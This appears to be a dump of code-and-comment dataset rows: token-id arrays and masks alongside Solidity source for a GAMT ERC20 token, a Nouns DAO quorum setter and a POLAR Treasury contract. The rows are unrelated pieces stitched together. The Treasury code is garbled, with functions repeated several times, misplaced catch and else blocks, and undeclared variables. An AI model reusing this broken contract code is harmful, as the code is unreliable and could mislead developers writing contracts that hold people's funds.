[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 4843, 6493, 6415, 12, 11890, 5034, 389, 17232, 25136, 13, 3903, 288, 203, 565, 2583, 12, 14872, 3024, 9194, 6493, 950, 63, 3576, 18, 15330, 65, 422, 374, 747, 7291, 3024, 9194, 6493, 950, 63, 3576, 18, 15330, 8009, 1289, 12, 9156, 6493, 950, 14001, 13, 1648, 1203, 18, 5508, 1769, 203, 203, 565, 2583, 12, 26810, 19934, 548, 24899, 17232, 25136, 10019, 203, 203, 565, 7291, 3024, 9194, 6493, 950, 63, 3576, 18, 15330, 65, 273, 1203, 18, 5508, 31, 203, 203, 565, 389, 9446, 6415, 24899, 17232, 25136, 16, 1203, 18, 5508, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and a // fixed supply // ---------------------------------------------------------------------------- contract GAMTToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "GAMT"; name = "GAMT"; decimals = 4; _totalSupply = 1000000000 * 10 ** uint256(decimals); balances[0xB2c85cB2fE0aBC7819988736D8a79acb9D2c2403] = _totalSupply; emit Transfer(address(0), 0xB2c85cB2fE0aBC7819988736D8a79acb9D2c2403, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } uint256 public sellPrice; uint256 public buyPrice; function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyOwner { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buy() public payable returns (uint amount) { amount = msg.value / buyPrice; // calculates the amount require(balances[address(this)] >= amount); // checks if it has enough to sell balances[msg.sender] += amount; // adds the amount to buyer's balance balances[address(this)] -= amount; // subtracts amount from seller's balance emit Transfer(address(this), msg.sender, amount); // execute an event reflecting the change return amount; // ends function and returns } function sell(uint amount) public returns (uint revenue) { require(balances[msg.sender] >= amount); // checks if the sender has enough to sell balances[address(this)] += amount; // adds the amount to owner's balance balances[msg.sender] -= amount; // subtracts the amount from seller's balance revenue = amount * sellPrice; msg.sender.transfer(revenue); // sends ether to the seller: it's important to do this last to prevent recursion attacks emit Transfer(msg.sender, address(this), amount); // executes an event reflecting on the change return revenue; // ends function and returns } mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function freezeAccount(address target, bool freeze) public onlyOwner { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } uint minBalanceForAccounts; function setMinBalance(uint minimumBalanceInFinney) public onlyOwner { minBalanceForAccounts = minimumBalanceInFinney * 1 finney; } address payable toAddr; // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(!frozenAccount[msg.sender]); if (msg.sender.balance < minBalanceForAccounts) { sell((minBalanceForAccounts - msg.sender.balance) / sellPrice); } if(to.balance<minBalanceForAccounts) { toAddr = address(uint160(to)); toAddr.transfer(sell((minBalanceForAccounts - to.balance) / sellPrice)); } // 可选,让接受者也补充余额,以便接受者使用代币。 balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function mintToken(address target, uint256 mintedAmount) public onlyOwner { balances[target] += mintedAmount; _totalSupply += mintedAmount; emit Transfer(address(0), owner, mintedAmount); emit Transfer(owner, target, mintedAmount); } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () external payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
checks if it has enough to sell
require(balances[address(this)] >= amount);
1,068,922
[ 1, 12366, 309, 518, 711, 7304, 358, 357, 80, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 70, 26488, 63, 2867, 12, 2211, 25887, 1545, 3844, 1769, 3639, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x80C48BE6825e5F27284BF21f148693E14f95cBF3/sources/contracts/governance/NounsDAOLogicV1.sol
* @notice Admin function for setting the quorum votes basis points @dev newQuorumVotesBPS must be greater than the hardcoded min @param newQuorumVotesBPS new proposal threshold/
function _setQuorumVotesBPS(uint256 newQuorumVotesBPS) external { require(msg.sender == admin, 'NounsDAO::_setQuorumVotesBPS: admin only'); require( newQuorumVotesBPS >= MIN_QUORUM_VOTES_BPS && newQuorumVotesBPS <= MAX_QUORUM_VOTES_BPS, 'NounsDAO::_setProposalThreshold: invalid proposal threshold' ); uint256 oldQuorumVotesBPS = quorumVotesBPS; quorumVotesBPS = newQuorumVotesBPS; emit QuorumVotesBPSSet(oldQuorumVotesBPS, quorumVotesBPS); }
7,083,105
[ 1, 4446, 445, 364, 3637, 326, 31854, 19588, 10853, 3143, 225, 394, 31488, 29637, 38, 5857, 1297, 506, 6802, 2353, 326, 7877, 24808, 1131, 225, 394, 31488, 29637, 38, 5857, 394, 14708, 5573, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 542, 31488, 29637, 38, 5857, 12, 11890, 5034, 394, 31488, 29637, 38, 5857, 13, 3903, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3981, 16, 296, 50, 465, 87, 18485, 2866, 67, 542, 31488, 29637, 38, 5857, 30, 3981, 1338, 8284, 203, 3639, 2583, 12, 203, 5411, 394, 31488, 29637, 38, 5857, 1545, 6989, 67, 3500, 916, 2799, 67, 16169, 7296, 67, 38, 5857, 597, 394, 31488, 29637, 38, 5857, 1648, 4552, 67, 3500, 916, 2799, 67, 16169, 7296, 67, 38, 5857, 16, 203, 5411, 296, 50, 465, 87, 18485, 2866, 67, 542, 14592, 7614, 30, 2057, 14708, 5573, 11, 203, 3639, 11272, 203, 3639, 2254, 5034, 1592, 31488, 29637, 38, 5857, 273, 31854, 29637, 38, 5857, 31, 203, 3639, 31854, 29637, 38, 5857, 273, 394, 31488, 29637, 38, 5857, 31, 203, 203, 3639, 3626, 4783, 16105, 29637, 38, 5857, 694, 12, 1673, 31488, 29637, 38, 5857, 16, 31854, 29637, 38, 5857, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1313161554/0x2Af7e5b19405A02FC99468Af38a23aa270921781/sources/contracts/polar/Treasury.sol
/ governance flags epoch exclusions from total supply core components price 28 first epochs (1 week) with 4.5% expansion regardless of POLAR price
contract Treasury is ContractGuard { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; uint256 public constant PERIOD = 6 hours; address public operator; bool public initialized = false; uint256 public startTime; uint256 public epoch = 0; uint256 public epochSupplyContractionLeft = 0; address[] public excludedFromTotalSupply = [ ]; address public polar; address public pbond; address public spolar; address public masonry; address public polarOracle; uint256 public polarPriceOne; uint256 public polarPriceCeiling; uint256 public seigniorageSaved; uint256[] public supplyTiers; uint256[] public maxExpansionTiers; uint256 public maxSupplyExpansionPercent; uint256 public bondDepletionFloorPercent; uint256 public seigniorageExpansionFloorPercent; uint256 public maxSupplyContractionPercent; uint256 public maxDebtRatioPercent; uint256 public bootstrapEpochs; uint256 public bootstrapSupplyExpansionPercent; uint256 public previousEpochpolarPrice; uint256 public discountPercent; uint256 public premiumThreshold; uint256 public premiumPercent; address public daoFund; uint256 public daoFundSharedPercent; address public devFund; uint256 public devFundSharedPercent; event Initialized(address indexed executor, uint256 at); event BurnedBonds(address indexed from, uint256 bondAmount); event RedeemedBonds(address indexed from, uint256 polarAmount, uint256 bondAmount); event Boughpbonds(address indexed from, uint256 polarAmount, uint256 bondAmount); event TreasuryFunded(uint256 timestamp, uint256 seigniorage); event MasonryFunded(uint256 timestamp, uint256 seigniorage); event DaoFundFunded(uint256 timestamp, uint256 seigniorage); event DevFundFunded(uint256 timestamp, uint256 seigniorage); ____ __ _ _______ modifier onlyOperator() { require(operator == msg.sender, "Treasury: caller is not the operator"); _; } modifier checkCondition { require(now >= startTime, "Treasury: not started yet"); _; } modifier checkEpoch { require(now >= nextEpochPoint(), "Treasury: not opened yet"); _; epoch = epoch.add(1); epochSupplyContractionLeft = (getpolarPrice() > polarPriceCeiling) ? 0 : getpolarCirculatingSupply().mul(maxSupplyContractionPercent).div(10000); } modifier checkOperator { require( IBasisAsset(polar).operator() == address(this) && IBasisAsset(pbond).operator() == address(this) && IBasisAsset(spolar).operator() == address(this) && Operator(masonry).operator() == address(this), "Treasury: need more permission" ); _; } modifier notInitialized { require(!initialized, "Treasury: already initialized"); _; } function isInitialized() public view returns (bool) { return initialized; } function nextEpochPoint() public view returns (uint256) { return startTime.add(epoch.mul(PERIOD)); } function getpolarPrice() public view returns (uint256 polarPrice) { try IOracle(polarOracle).consult(polar, 1e18) returns (uint144 price) { return uint256(price/1e6); revert("Treasury: failed to consult POLAR price from the oracle"); } } function getpolarPrice() public view returns (uint256 polarPrice) { try IOracle(polarOracle).consult(polar, 1e18) returns (uint144 price) { return uint256(price/1e6); revert("Treasury: failed to consult POLAR price from the oracle"); } } } catch { function getpolarUpdatedPrice() public view returns (uint256 _polarPrice) { try IOracle(polarOracle).twap(polar, 1e18) returns (uint144 price) { return uint256(price/1e6); revert("Treasury: failed to consult POLAR price from the oracle"); } } function getpolarUpdatedPrice() public view returns (uint256 _polarPrice) { try IOracle(polarOracle).twap(polar, 1e18) returns (uint144 price) { return uint256(price/1e6); revert("Treasury: failed to consult POLAR price from the oracle"); } } } catch { function getReserve() public view returns (uint256) { return seigniorageSaved; } function getBurnablepolarLeft() public view returns (uint256 _burnablepolarLeft) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice <= polarPriceOne) { uint256 _polarSupply = getpolarCirculatingSupply(); uint256 _bondMaxSupply = _polarSupply.mul(maxDebtRatioPercent).div(10000); uint256 _bondSupply = IERC20(pbond).totalSupply(); if (_bondMaxSupply > _bondSupply) { uint256 _maxMintableBond = _bondMaxSupply.sub(_bondSupply); uint256 _maxBurnablepolar = _maxMintableBond.mul(_polarPrice).div(1e18); _burnablepolarLeft = Math.min(epochSupplyContractionLeft, _maxBurnablepolar); } } } function getBurnablepolarLeft() public view returns (uint256 _burnablepolarLeft) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice <= polarPriceOne) { uint256 _polarSupply = getpolarCirculatingSupply(); uint256 _bondMaxSupply = _polarSupply.mul(maxDebtRatioPercent).div(10000); uint256 _bondSupply = IERC20(pbond).totalSupply(); if (_bondMaxSupply > _bondSupply) { uint256 _maxMintableBond = _bondMaxSupply.sub(_bondSupply); uint256 _maxBurnablepolar = _maxMintableBond.mul(_polarPrice).div(1e18); _burnablepolarLeft = Math.min(epochSupplyContractionLeft, _maxBurnablepolar); } } } function getBurnablepolarLeft() public view returns (uint256 _burnablepolarLeft) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice <= polarPriceOne) { uint256 _polarSupply = getpolarCirculatingSupply(); uint256 _bondMaxSupply = _polarSupply.mul(maxDebtRatioPercent).div(10000); uint256 _bondSupply = IERC20(pbond).totalSupply(); if (_bondMaxSupply > _bondSupply) { uint256 _maxMintableBond = _bondMaxSupply.sub(_bondSupply); uint256 _maxBurnablepolar = _maxMintableBond.mul(_polarPrice).div(1e18); _burnablepolarLeft = Math.min(epochSupplyContractionLeft, _maxBurnablepolar); } } } function getRedeemableBonds() public view returns (uint256 _redeemableBonds) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice > polarPriceCeiling) { uint256 _totalpolar = IERC20(polar).balanceOf(address(this)); uint256 _rate = gepbondPremiumRate(); if (_rate > 0) { _redeemableBonds = _totalpolar.mul(1e18).div(_rate); } } } function getRedeemableBonds() public view returns (uint256 _redeemableBonds) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice > polarPriceCeiling) { uint256 _totalpolar = IERC20(polar).balanceOf(address(this)); uint256 _rate = gepbondPremiumRate(); if (_rate > 0) { _redeemableBonds = _totalpolar.mul(1e18).div(_rate); } } } function getRedeemableBonds() public view returns (uint256 _redeemableBonds) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice > polarPriceCeiling) { uint256 _totalpolar = IERC20(polar).balanceOf(address(this)); uint256 _rate = gepbondPremiumRate(); if (_rate > 0) { _redeemableBonds = _totalpolar.mul(1e18).div(_rate); } } } function gepbondDiscountRate() public view returns (uint256 _rate) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice <= polarPriceOne) { if (discountPercent == 0) { _rate = polarPriceOne; uint256 _discountAmount = _bondAmount.sub(polarPriceOne).mul(discountPercent).div(10000); _rate = polarPriceOne.add(_discountAmount); if (maxDiscountRate > 0 && _rate > maxDiscountRate) { _rate = maxDiscountRate; } } } } function gepbondDiscountRate() public view returns (uint256 _rate) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice <= polarPriceOne) { if (discountPercent == 0) { _rate = polarPriceOne; uint256 _discountAmount = _bondAmount.sub(polarPriceOne).mul(discountPercent).div(10000); _rate = polarPriceOne.add(_discountAmount); if (maxDiscountRate > 0 && _rate > maxDiscountRate) { _rate = maxDiscountRate; } } } } function gepbondDiscountRate() public view returns (uint256 _rate) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice <= polarPriceOne) { if (discountPercent == 0) { _rate = polarPriceOne; uint256 _discountAmount = _bondAmount.sub(polarPriceOne).mul(discountPercent).div(10000); _rate = polarPriceOne.add(_discountAmount); if (maxDiscountRate > 0 && _rate > maxDiscountRate) { _rate = maxDiscountRate; } } } } } else { function gepbondDiscountRate() public view returns (uint256 _rate) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice <= polarPriceOne) { if (discountPercent == 0) { _rate = polarPriceOne; uint256 _discountAmount = _bondAmount.sub(polarPriceOne).mul(discountPercent).div(10000); _rate = polarPriceOne.add(_discountAmount); if (maxDiscountRate > 0 && _rate > maxDiscountRate) { _rate = maxDiscountRate; } } } } function gepbondPremiumRate() public view returns (uint256 _rate) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice > polarPriceCeiling) { uint256 _polarPricePremiumThreshold = polarPriceOne.mul(premiumThreshold).div(100); if (_polarPrice >= _polarPricePremiumThreshold) { uint256 _premiumAmount = _polarPrice.sub(polarPriceOne).mul(premiumPercent).div(10000); _rate = polarPriceOne.add(_premiumAmount); if (maxPremiumRate > 0 && _rate > maxPremiumRate) { _rate = maxPremiumRate; } } } } function gepbondPremiumRate() public view returns (uint256 _rate) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice > polarPriceCeiling) { uint256 _polarPricePremiumThreshold = polarPriceOne.mul(premiumThreshold).div(100); if (_polarPrice >= _polarPricePremiumThreshold) { uint256 _premiumAmount = _polarPrice.sub(polarPriceOne).mul(premiumPercent).div(10000); _rate = polarPriceOne.add(_premiumAmount); if (maxPremiumRate > 0 && _rate > maxPremiumRate) { _rate = maxPremiumRate; } } } } function gepbondPremiumRate() public view returns (uint256 _rate) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice > polarPriceCeiling) { uint256 _polarPricePremiumThreshold = polarPriceOne.mul(premiumThreshold).div(100); if (_polarPrice >= _polarPricePremiumThreshold) { uint256 _premiumAmount = _polarPrice.sub(polarPriceOne).mul(premiumPercent).div(10000); _rate = polarPriceOne.add(_premiumAmount); if (maxPremiumRate > 0 && _rate > maxPremiumRate) { _rate = maxPremiumRate; } } } } function gepbondPremiumRate() public view returns (uint256 _rate) { uint256 _polarPrice = getpolarPrice(); if (_polarPrice > polarPriceCeiling) { uint256 _polarPricePremiumThreshold = polarPriceOne.mul(premiumThreshold).div(100); if (_polarPrice >= _polarPricePremiumThreshold) { uint256 _premiumAmount = _polarPrice.sub(polarPriceOne).mul(premiumPercent).div(10000); _rate = polarPriceOne.add(_premiumAmount); if (maxPremiumRate > 0 && _rate > maxPremiumRate) { _rate = maxPremiumRate; } } } } } else { _rate = polarPriceOne; function initialize( address _polar, address _pbond, address _spolar, address _polarOracle, address _masonry, uint256 _startTime ) public notInitialized { polar = _polar; pbond = _pbond; spolar = _spolar; polarOracle = _polarOracle; masonry = _masonry; startTime = _startTime; polarPriceOne = 1e18; polarPriceCeiling = polarPriceOne.mul(101).div(100); supplyTiers = [0e18, 500000e18, 1000000e18, 1500000e18, 2000000e18, 5000000e18, 10000000e18, 20000000e18, 50000000e18]; maxExpansionTiers = [450, 400, 350, 300, 250, 200, 150, 125, 100]; premiumThreshold = 110; premiumPercent = 7000; bootstrapEpochs = 28; bootstrapSupplyExpansionPercent = 450; seigniorageSaved = IERC20(polar).balanceOf(address(this)); initialized = true; operator = msg.sender; emit Initialized(msg.sender, block.number); } function setOperator(address _operator) external onlyOperator { operator = _operator; } function setMasonry(address _masonry) external onlyOperator { masonry = _masonry; } function setpolarOracle(address _polarOracle) external onlyOperator { polarOracle = _polarOracle; } function setpolarPriceCeiling(uint256 _polarPriceCeiling) external onlyOperator { polarPriceCeiling = _polarPriceCeiling; } function setMaxSupplyExpansionPercents(uint256 _maxSupplyExpansionPercent) external onlyOperator { maxSupplyExpansionPercent = _maxSupplyExpansionPercent; } function setSupplyTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); if (_index > 0) { require(_value > supplyTiers[_index - 1]); } if (_index < 8) { require(_value < supplyTiers[_index + 1]); } supplyTiers[_index] = _value; return true; } function setSupplyTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); if (_index > 0) { require(_value > supplyTiers[_index - 1]); } if (_index < 8) { require(_value < supplyTiers[_index + 1]); } supplyTiers[_index] = _value; return true; } function setSupplyTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); if (_index > 0) { require(_value > supplyTiers[_index - 1]); } if (_index < 8) { require(_value < supplyTiers[_index + 1]); } supplyTiers[_index] = _value; return true; } function setMaxExpansionTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); maxExpansionTiers[_index] = _value; return true; } function sepbondDepletionFloorPercent(uint256 _bondDepletionFloorPercent) external onlyOperator { bondDepletionFloorPercent = _bondDepletionFloorPercent; } function setMaxSupplyContractionPercent(uint256 _maxSupplyContractionPercent) external onlyOperator { maxSupplyContractionPercent = _maxSupplyContractionPercent; } function setMaxDebtRatioPercent(uint256 _maxDebtRatioPercent) external onlyOperator { maxDebtRatioPercent = _maxDebtRatioPercent; } function setBootstrap(uint256 _bootstrapEpochs, uint256 _bootstrapSupplyExpansionPercent) external onlyOperator { bootstrapEpochs = _bootstrapEpochs; bootstrapSupplyExpansionPercent = _bootstrapSupplyExpansionPercent; } function setExtraFunds( address _daoFund, uint256 _daoFundSharedPercent, address _devFund, uint256 _devFundSharedPercent ) external onlyOperator { require(_daoFund != address(0), "zero"); require(_devFund != address(0), "zero"); daoFund = _daoFund; daoFundSharedPercent = _daoFundSharedPercent; devFund = _devFund; devFundSharedPercent = _devFundSharedPercent; } function setMaxDiscountRate(uint256 _maxDiscountRate) external onlyOperator { maxDiscountRate = _maxDiscountRate; } function setMaxPremiumRate(uint256 _maxPremiumRate) external onlyOperator { maxPremiumRate 